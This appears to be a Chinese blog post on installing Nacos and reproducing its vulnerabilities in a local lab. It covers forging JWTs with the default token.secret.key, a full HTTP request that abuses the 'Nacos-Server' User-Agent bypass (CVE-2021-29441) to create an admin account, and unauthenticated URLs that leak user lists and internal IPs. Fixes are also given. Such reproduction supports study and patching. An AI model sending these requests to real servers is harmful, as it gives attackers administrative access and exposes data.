NACOS搭建及相关漏洞复现

目录

搭建过程

出现问题

解决问题

漏洞复现

身份认证绕过漏洞 (QVD-2023-6271)

漏洞描述

漏洞信息

漏洞影响范围:

漏洞复现

漏洞修复

Nacos权限认证绕过(CVE-2021-29441)

漏洞描述

漏洞影响范围

漏洞复现

漏洞修复

信息泄露

内网IP地址泄露

用户列表泄露


由于不同的漏洞复现需要不同版本的NACOS,这里先搭建2.2.0版本的NACOS

搭建过程

环境:Windows物理主机,不是虚拟机(不过都没啥区别,无论是Windows还是Linux,nacos都提供了)。

下载链接;Releases · alibaba/nacos · GitHub

首先在GitHub上面找到NACOS下载的地方,这里是有多个版本可供选择,我们直接选择2.2.0版本的nacos

下载完成之后解压得到文件nacos

来到bin目录下打开cmd执行命令startup.cmd -m standalone

如果是Linux的话也是来到bin目录下执行./startup.sh -m standalone

出现问题

它这里一直提示没有为JAVA_HOME配置环境变量,但我已经配置过了还是不行。

解决问题

根据网上的方法添加环境变量后无果,找到新的解决办法。

只需要在启动文件startup.cmd中设置变量JAVA_HOME的值为你电脑上的安装目录即可。

修改完成后成功启动

打开浏览器访问http://部署nacos的ip:8848/nacos

默认账号密码为nacos,nacos。

漏洞复现

身份认证绕过漏洞 (QVD-2023-6271)

漏洞描述

漏洞原理为开源服务管理平台 Naos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。

漏洞信息

漏洞类型:身份认证绕过

漏洞等级:高危

漏洞编号:NVDB-CNVDB-2023674205

漏洞影响范围:

0.1.0<= Nacos<= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。

在受影响的版本范围内,nacos的token.secret.key值是固定死的,位置在conf下的 application.properties 中。

漏洞复现

首先构造JWT的值,将配置文件中的KEY那一行复制到下面,勾选base64编码

这里可能会有一个疑问,就是在真实环境下,不能去看对方的配置文件中的key,怎么来构造jwt呢

仔细想想就会知道,这个key是默认的,只要不是管理者手动修改了,默认就是这个。

首先Header中的值不用变,将payload中的sub改成”nacos“,exp换成时间戳,时间需要比当前时间往后,这里建议往后一天。最后的VERIFY SIGNATURE中的密钥改成上面默认的key。并且需要勾选base64编码。

这里的时间戳设置需要选择系统时间往后的一个时间,可以往后多算一天,

在线时间戳转换工具

接着我们来到burpsuite抓取登录包,账号密码就随便填一个错误的,然后抓取返回包

这里用一个错误账号密码去登录,然后选择Response to this request进行抓取返回包。

将刚刚获得正确返回包粘贴进来放包即可成功进入后台。

其实这里不用那么麻烦,直接在抓取登陆包加上token之后放包就进去后台了。刚才的方法有点麻烦了。

漏洞修复

更新到最新版本的Nacos,或者修改配置文件中token.secret.key的值。

Nacos权限认证绕过(CVE-2021-29441)

漏洞描述

Nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

漏洞影响范围

Nacos <= 2.0.0-ALPHA.1

漏洞复现

这里选取的版本是Nacos2.0.0-ALPHA.1

启动的方法跟刚才一样,也是需要修改启动文件startup.cmd中设置变量JAVA_HOME的值。

访问地址http://IP:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

即可查看用户列表,账号为nacos,密码为加盐加密后的值

网上找的方法是访问一个地址,然后改post方法,把UA头的值换成Nacos-Server去添加账户。但是我没有成功不知道为啥。就用下面这个数据包才可以成功。

2023年12月28日更新,需要在数据包中加上Content-Type: application/x-www-form-urlencoded,就可以成功了。因为该参数是一种 HTTP 请求头中的标准内容类型,通常用于在 HTTP 请求中发送表单数据。这种类型的数据包含键值对,键值对之间使用 & 符号分隔,键和值之间使用 = 符号分隔。这种数据格式主要用于 HTML 表单提交。)

POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.71.5:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

这里也是成功的创建了一个账户名为admin,密码为admin的账户

再来查看一下账户列表便可以发现admin已经添加上去了。

并且也是利用这个新创建的账户成功登录。

漏洞修复

升级到最新版本的Nacos

信息泄露

未在网上找寻到相关的版本信息,就是两个访问地址,实战中遇到nacos可访问一下,判断是否存在信息泄露。

内网IP地址泄露

在未登录的情况下访问url,查看nacos默认安装后泄露的内网ip地址,poc:

http://ip:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword

用户列表泄露

在未登录的情况下访问url,查看nacos默认安装后泄露的用户列表,poc:

http://ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值